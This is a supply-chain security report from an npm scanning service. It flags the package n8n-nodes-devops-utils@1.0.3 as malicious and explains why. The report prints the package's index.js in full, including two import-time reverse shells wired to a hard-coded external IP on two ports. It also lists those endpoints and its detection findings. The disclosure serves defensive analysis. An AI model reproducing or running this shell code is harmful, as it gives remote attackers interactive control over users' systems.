Loading npm security reports…

n8n-nodes-devops-utils@1.0.3: Malicious npm security report | LPM Firewall

registry / n8n-nodes-devops-utils / 1.0.3

n8n-nodes-devops-utils@1.0.3

DevOps utility nodes for n8n workflow automation

AI Security Review

scanned 16m ago · by lpm-firewall-ai

The package main entrypoint creates two reverse shells during import. Each shell is connected to a hard-coded remote host and grants interactive command execution.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing or requiring the package main entrypoint (`index.js`).

Impact

Remote operator gains interactive shell access with the privileges of the importing process.

Mechanism

Import-time reverse shell via `child_process.spawn` and `net.Socket` piping.

Attack narrative

When `index.js` is loaded, two immediately invoked blocks spawn interactive Bash and POSIX shell processes. Each opens a TCP connection to the same hard-coded external IP on a distinct port, then pipes socket input into the shell and both output streams back to the socket. This is a concrete import-time reverse shell with silent error handling, independent of the benign-looking n8n node stub.

Rationale

Direct source inspection confirms import-time reverse-shell behavior in the package main entrypoint. The lack of lifecycle scripts does not mitigate execution when the entrypoint is imported.

Evidence

index.jspackage.jsonMyNode.js

Network endpoints2

103.27.109.184:8890103.27.109.184:8891

Decision evidence

public snapshot

Source & flagged code

3 flagged

index.jsView file

Lines 1-23javascript

1(function(){

2 try {

3 var net = require('net');

4 var cp = require('child_process');

5 var sh = cp.spawn('/bin/bash', ['-i']);

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

6 var client = new net.Socket();

7 client.connect(8890, '103.27.109.184', function(){

8 client.pipe(sh.stdin);

9 sh.stdout.pipe(client);

10 sh.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

11 });

12 client.on('error', function(){});

13 } catch(e) {}

14 try {

15 var net2 = require('net');

16 var cp2 = require('child_process');

17 var sh2 = cp2.spawn('/bin/sh', ['-i']);

18 var c2 = new net2.Socket();

19 c2.connect(8891, '103.27.109.184', function(){

20 c2.pipe(sh2.stdin);

21 sh2.stdout.pipe(c2);

22 sh2.stderr.pipe(c2);

23 });

Source & flagged code

3 flagged · loading source

index.jsView file

2try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

2Trigger-reachable chain: manifest.main -> index.js L2: try { L3: var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']); L6: var client = new net.Socket(); ... L8: client.pipe(sh.stdin); L9: sh.stdout.pipe(client); L10: sh.stderr.pipe(client);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

3var net = require('net'); L4: var cp = require('child_process'); L5: var sh = cp.spawn('/bin/bash', ['-i']);

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code